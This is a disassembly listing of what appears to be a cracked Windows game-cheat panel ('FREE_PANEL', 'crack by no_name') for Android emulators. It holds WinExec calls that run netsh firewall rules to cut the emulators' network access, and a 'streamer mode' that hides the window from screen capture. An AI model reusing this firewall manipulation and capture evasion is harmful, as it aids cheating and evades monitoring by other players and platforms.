test eax, eax
je 0x14005a8ca
cmp eax, dword [rcx + 0x476c]
je 0x14005a8ca
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005a8ca
cmp eax, dword [r9 + 0x74]
jne 0x14005a965
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005a92f
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005a92f
cmp byte [rdx + 0xaf], r12b
je 0x14005a92f
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005a92f
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005a909
bt r8d, 0x1a
jae 0x14005a92f
cmp qword [rax + 0x370], rdx
je 0x14005a92f
cmp rax, rdx
je 0x14005a92f
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14005a912
test dword [rcx + 0x4770], 0x100
je 0x14005a965
test byte [rcx + 0x4770], 4
jne 0x14005a965
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005a94d
cmp byte [r9 + 0xb0], r12b
jne 0x14005a965
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
call fcn.140017740
xor r9d, r9d
lea r8, str.Apply_in_Login
lea rdx, [0x1401461eb]
lea rcx, str.STOP_INTERET
call fcn.14003a150
mov rcx, qword [0x140146120]
movzx r10d, al
mov byte [0x14014614c], al
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005a9d8
cmp byte [rcx + 0x48f2], r12b
jne 0x14005a9d8
test byte [rcx + 0x4770], 4
jne 0x14005aac0
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005aac0
test eax, eax
jne 0x14005aaa0
jmp 0x14005aac0
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005aac0
cmp qword [rcx + 0x3ed8], r9
je 0x14005a9f8
test al, al
jns 0x14005aac0
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005aa1d
cmp eax, dword [rcx + 0x476c]
je 0x14005aa1d
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005aa1d
cmp eax, dword [r9 + 0x74]
jne 0x14005aac0
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005aa82
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005aa82
cmp byte [rdx + 0xaf], r12b
je 0x14005aa82
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005aa82
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005aa5c
bt r8d, 0x1a
jae 0x14005aa82
cmp qword [rax + 0x370], rdx
je 0x14005aa82
cmp rax, rdx
je 0x14005aa82
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14005aa65
test dword [rcx + 0x4770], 0x100
je 0x14005aac0
test byte [rcx + 0x4770], 4
jne 0x14005aac0
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005aaa0
cmp byte [r9 + 0xb0], r12b
jne 0x14005aac0
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Apply_in_Login
call fcn.140038320
call fcn.140017740
movzx r10d, byte [0x14014614c]
test r10b, r10b
je 0x14005ac4e
xor edx, edx
cmp byte [0x1401461eb], r12b
je 0x14005abb0
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movups xmm6, xmmword [0x140144bb8]
lea rdx, str.Desactivado_Internet_
lea rcx, [rbp + 0xc48]
call fcn.140047000
lea rcx, [rbp + 0xc68]
jmp 0x14005ac29
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movups xmm6, xmmword [0x140144bb8]
lea rdx, str.Activado_Internet_
lea rcx, [rbp + 0xb28]
call fcn.140047000
lea rcx, [rbp + 0xb48]
lea rdx, str.Notification
mov rbx, rax
call fcn.140047000
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004bd10
xor r9d, r9d
lea r8, [0x1400e7fe0]
lea rdx, [0x1401461e5]
lea rcx, str.RESET_GUST
call fcn.14003a150
mov byte [0x1401461e9], al
test al, al
je 0x14005aca3
cmp byte [0x1401461e5], r12b
je 0x14005aca3
lea rcx, [rbp + 0x3b0]
call fcn.140060000
lea rcx, [rbp + 0x3b0]
call fcn.14004c3a0
cmp dword [rbp + 0x3b8], r12d
jne 0x14005c3a2
xor r9d, r9d
lea r8, str.Hide_From_Screenshare
lea rdx, [0x140146199]
lea rcx, str.STREMER_MODE
call fcn.14003a150
mov byte [0x140146134], al
test al, al
je 0x14005ae3a
cmp byte [0x140146199], r12b
movups xmm6, xmmword [0x140144bb8]
je 0x14005ad8e
lea rdx, str.STREMER_MODE_Activated
lea rcx, [rbp + 0xc28]
call fcn.140047000
lea rdx, str.no_name
mov rbx, rax
lea rcx, [rbp + 0xb68]
call fcn.140047000
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004bd10
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x78], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x78]
mov r8d, r13d
lea r9, [0x1400cb080]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400cb090]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x14005ae34
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x78]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x78]
jmp 0x14005ae2e
lea rdx, str.Streamer_Mode_Removed
lea rcx, [rbp + 0xb88]
call fcn.140047000
lea rdx, str.no_name
mov rbx, rax
lea rcx, [rbp + 0xba8]
call fcn.140047000
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004bd10
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x70], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x70]
mov r8d, r13d
lea r9, [0x1400cb080]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400cb090]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x14005ae34
mov rax, qword [rbp - 0x70]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x70]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005ae86
cmp byte [rcx + 0x48f2], r12b
jne 0x14005ae86
test byte [rcx + 0x4770], 4
jne 0x14005af66
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005af66
test eax, eax
jne 0x14005af4e
jmp 0x14005af66
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005af66
cmp qword [rcx + 0x3ed8], r9
je 0x14005aea6
test al, al
jns 0x14005af66
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005aecb
cmp eax, dword [rcx + 0x476c]
je 0x14005aecb
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005aecb
cmp eax, dword [r9 + 0x74]
jne 0x14005af66
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005af30
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005af30
cmp byte [rdx + 0xaf], r12b
je 0x14005af30
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005af30
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005af0a
bt r8d, 0x1a
jae 0x14005af30
cmp qword [rax + 0x370], rdx
je 0x14005af30
cmp rax, rdx
je 0x14005af30
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14005af13
test dword [rcx + 0x4770], 0x100
je 0x14005af66
test byte [rcx + 0x4770], 4
jne 0x14005af66
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005af4e
cmp byte [r9 + 0xb0], r12b
jne 0x14005af66
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Hide_From_Screenshare
call fcn.140038320
call fcn.140017740
lea r9, [0x1400d9e7a]
mov r8d, 2
lea rdx, [0x140144bb8]
lea rcx, str.COLOR_PANEL
call fcn.140042b90
jmp 0x14005bddc
movss xmm0, dword [rsp + 0x70]
lea rcx, [0x140144bc8]
movss xmm1, dword [rsp + 0x74]
addss xmm0, xmm7
addss xmm1, xmm8
movss dword [rbp + 0x80], xmm0
movss dword [rbp + 0x84], xmm1
call fcn.1400043c0
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rsp + 0x70]
movss dword [rsp + 0x20], xmm6
lea r8, [rbp + 0x80]
mov rcx, rbx
call fcn.14002b830
movss xmm0, dword [rsp + 0x70]
lea rcx, [0x140144bc8]
movss xmm1, dword [rsp + 0x74]
addss xmm0, xmm7
addss xmm1, xmm8
movss dword [rbp + 0x88], xmm0
movss dword [rbp + 0x8c], xmm1
call fcn.1400043c0
mov r9d, eax
mov dword [rsp + 0x28], 0x50
lea rdx, [rsp + 0x70]
movss dword [rsp + 0x20], xmm6
lea r8, [rbp + 0x88]
mov rcx, rbx
call fcn.14002b830
movss xmm0, dword [0x140167538]
ucomiss xmm0, xmm9
jp 0x14005b05f
jne 0x14005b05f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x140167538], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x140167538]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm15
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x14005b119
cmp byte [reloc.WS2_32.dll_accept], r12b
movss xmm1, dword [0x14014729c]
je 0x14005b0d5
comiss xmm12, xmm1
jbe 0x14005b0c6
call fcn.1400087a0
movss xmm1, dword [0x14014729c]
movaps xmm0, xmm13
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
addss xmm1, xmm0
movss dword [0x14014729c], xmm1
comiss xmm1, xmm12
jb 0x14005b112
mov byte [reloc.WS2_32.dll_accept], r12b
jmp 0x14005b112
comiss xmm1, xmm9
jbe 0x14005b105
call fcn.1400087a0
movss xmm1, dword [0x14014729c]
movaps xmm0, xmm13
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
subss xmm1, xmm0
movss dword [0x14014729c], xmm1
comiss xmm9, xmm1
jb 0x14005b112
mov byte [reloc.WS2_32.dll_accept], r13b
mov dword [0x140167538], r12d
mov rbx, qword [0x140146120]
mov rax, qword [rbx + 0x3ed0]
movsd xmm0, qword [rax + 0x18]
mov byte [rax + 0xb0], r13b
mov rax, qword [rbx + 0x3ed0]
movsd qword [rbp + 0x90], xmm0
mov rdi, qword [rax + 0x290]
cmp dword [rbx + 0x48a0], r12d
jg 0x14005b16c
mov r8d, 0x6fc
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
lea r8, str.Foreground
mov rdx, r13
mov rcx, qword [rax]
call fcn.1400087e0
movss xmm6, dword [0x14014729c]
lea rcx, [rbp + 0x180]
movss dword [rbp + 0x18c], xmm6
mov dword [rbp + 0x180], 0x437f0000
mov dword [rbp + 0x184], 0x437f0000
mov dword [rbp + 0x188], 0x437f0000
call fcn.1400043c0
movss xmm7, dword [rbp + 0x90]
mov esi, eax
movss xmm8, dword [rbp + 0x94]
movaps xmm0, xmm7
mov rbx, qword [0x14016cfe8]
movaps xmm1, xmm8
addss xmm0, dword [0x1400e84d8]
addss xmm1, dword [0x1400e84b4]
movss dword [rbp + 0x98], xmm0
movss dword [rbp + 0x9c], xmm1
test eax, 0xff000000
je 0x14005b2aa
test rbx, rbx
jne 0x14005b218
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x14005b243
mov r8d, 0x64d
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
lea rax, [0x1400e6cb3]
mov byte [rsp + 0x48], r12b
movss xmm2, dword [0x1400e84e8]
lea r9, [rbp + 0x98]
movss dword [rsp + 0x40], xmm9
mov rdx, rdi
mov qword [rsp + 0x38], rax
mov rcx, rbx
lea rax, str.____no_name
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034f70
mov rbx, qword [0x14016cfe8]
movss xmm6, dword [0x14014729c]
lea rcx, [rbp + 0x170]
movss dword [rbp + 0x17c], xmm6
mov dword [rbp + 0x170], 0x437f0000
mov dword [rbp + 0x174], 0x437f0000
mov dword [rbp + 0x178], 0x437f0000
call fcn.1400043c0
mov esi, eax
addss xmm7, dword [0x1400e84d0]
addss xmm8, dword [0x1400e854c]
movss dword [rbp + 0xa0], xmm7
movss dword [rbp + 0xa4], xmm8
test eax, 0xff000000
je 0x14005b397
test rbx, rbx
jne 0x14005b318
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x14005b343
mov r8d, 0x64d
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400e7f83]
movss dword [rsp + 0x40], xmm9
lea r9, [rbp + 0xa0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm14
lea rax, str.crack_by_no_name
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034f70
mov rcx, qword [0x140146120]
lea rdx, str.Inputs
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e84f8]
addss xmm1, dword [0x1400e8518]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0xa8], 0x43fa0000
mov dword [rbp + 0xac], 0x438c0000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rcx, str.Inputs
call fcn.14000bfd0
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x30], r12
lea rbx, [0x1401461f0]
mov dword [rsp + 0x28], r12d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x14005b91c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x14005b85a
mov edx, 0x20001
lea rcx, str.C:Windows0704.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
movups xmm6, xmmword [0x140144bb8]
lea rcx, [0x140167778]
mov dword [0x140167838], r13d
call fcn.140046f00
mov rdx, rax
lea rcx, [rbp + 0xbc8]
call fcn.140047000
lea rdx, str.no_name
mov rbx, rax
lea rcx, [rbp + 0xbe8]
call fcn.140047000
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004bd10
lea rcx, [rbp + 0x380]
call fcn.140056ad0
lea rcx, [rbp + 0xa20]
call fcn.14005da90
lea rdx, str.Loged_in_C___n_n
lea rcx, [rbp + 0xa20]
call fcn.14005f550
mov rcx, rax
lea rdx, [rbp + 0x380]
call fcn.140060070
mov ecx, dword [rbp + 0xa98]
xorps xmm0, xmm0
mov eax, ecx
mov qword [rbp + 0x3d0], r12
and al, 0x22
mov qword [rbp + 0x3d8], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x3c0], xmm0
mov byte [rbp + 0x3c0], r12b
movups xmmword [rbp + 0x5b0], xmm0
cmp al, 2
je 0x14005b721
lea rcx, [rbp + 0xa28]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14005b71b
lea rcx, [rbp + 0xa28]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
lea rcx, [rbp + 0xa28]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, qword [rbp + 0xa90]
lea rcx, [rbp + 0xa28]
mov rbx, rax
cmovb rbx, qword [rbp + 0xa90]
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x14005b76b
mov ecx, dword [rbp + 0xa98]
test cl, 4
jne 0x14005b75d
lea rcx, [rbp + 0xa28]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x14005b75d
lea rcx, [rbp + 0xa28]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp + 0xa28]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rbx, rax
sub rbx, rdi
jmp 0x14005b76b
mov rbx, qword [rbp + 0x5b8]
mov rdi, qword [rbp + 0x5b0]
test rdi, rdi
je 0x14005b782
mov r8, rbx
lea rcx, [rbp + 0x3c0]
mov rdx, rdi
call fcn.14005ef30
lea rdx, [rbp + 0x3c0]
lea rcx, [0x140167540]
nop
nop
nop
nop
nop
mov rax, qword [rbp + 0xa20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0xa1c], edx
lea rcx, [rbp + 0xa28]
call fcn.14005d9a0
lea rcx, [rbp + 0xa30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xaa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x398]
cmp rdx, 0xf
jbe 0x14005b82e
mov rcx, qword [rbp + 0x380]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b829
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c3a9
call fcn.1400c5f6c
mov qword [rbp + 0x390], r12
lea rbx, [0x1401461f0]
mov qword [rbp + 0x398], reloc.WS2_32.dll_ntohs
lea rdi, [0x1401461a0]
mov byte [rbp + 0x380], r12b
jmp 0x14005b91c
cmp qword [0x140167790], 0xf
lea rdx, [0x140167778]
movups xmm6, xmmword [0x140144bb8]
cmova rdx, qword [0x140167778]
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x6a8], r12
movups xmmword [rbp + 0x698], xmm0
mov qword [rbp + 0x6b0], r12
inc r8
cmp byte [rdx + r8], r12b
jne 0x14005b897
lea rcx, [rbp + 0x698]
call fcn.1400478a0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
lea r9, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x2a0], recvfrom
movups xmmword [rbp + 0x290], xmm0
lea r8, [rbp + 0x698]
mov word [rbp + 0x298], ax
movsd xmm0, qword [str.no_name]
lea rdx, [rbp + 0x290]
movzx eax, byte [0x1400e753a]
mov byte [rbp + 0x29a], al
mov qword [rbp + 0x2a8], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x290], xmm0
mov byte [rbp + 0x29b], r12b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.14004bd10
lea rdx, [rbp + 0xd0]
mov dword [rbp + 0xd0], 0x43960000
lea rcx, str.Register
mov dword [rbp + 0xd4], 0x42480000
call fcn.140038c30
test al, al
je 0x14005bddc
xorps xmm0, xmm0
mov qword [rbp + 0x628], r12
movups xmmword [rbp + 0x618], xmm0
mov qword [rbp + 0x630], r12
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rsi + r8], r12b
jne 0x14005b970
mov rdx, rsi
lea rcx, [rbp + 0x618]
call fcn.1400478a0
xorps xmm0, xmm0
mov qword [rbp + 0x6c8], r12
movups xmmword [rbp + 0x6b8], xmm0
mov qword [rbp + 0x6d0], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r12b
jne 0x14005b9a7
mov rdx, rdi
lea rcx, [rbp + 0x6b8]
call fcn.1400478a0
xorps xmm0, xmm0
mov qword [rbp + 0x6e8], r12
movups xmmword [rbp + 0x6d8], xmm0
mov qword [rbp + 0x6f0], r12
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], r12b
jne 0x14005b9e0
mov rdx, rbx
lea rcx, [rbp + 0x6d8]
call fcn.1400478a0
lea r9, [rbp + 0x618]
lea r8, [rbp + 0x6b8]
lea rdx, [rbp + 0x6d8]
lea rcx, [0x140167540]
call fcn.140072ff0
cmp byte [0x140167770], r12b
je 0x14005bd8e
mov edx, 0x20001
lea rcx, str.C:Windows0704.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
cmp qword [0x140167790], 0xf
lea rdx, [0x140167778]
movups xmm6, xmmword [0x140144bb8]
cmova rdx, qword [0x140167778]
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x708], r12
movups xmmword [rbp + 0x6f8], xmm0
mov qword [rbp + 0x710], r12
inc r8
cmp byte [rdx + r8], r12b
jne 0x14005ba75
lea rcx, [rbp + 0x6f8]
call fcn.1400478a0
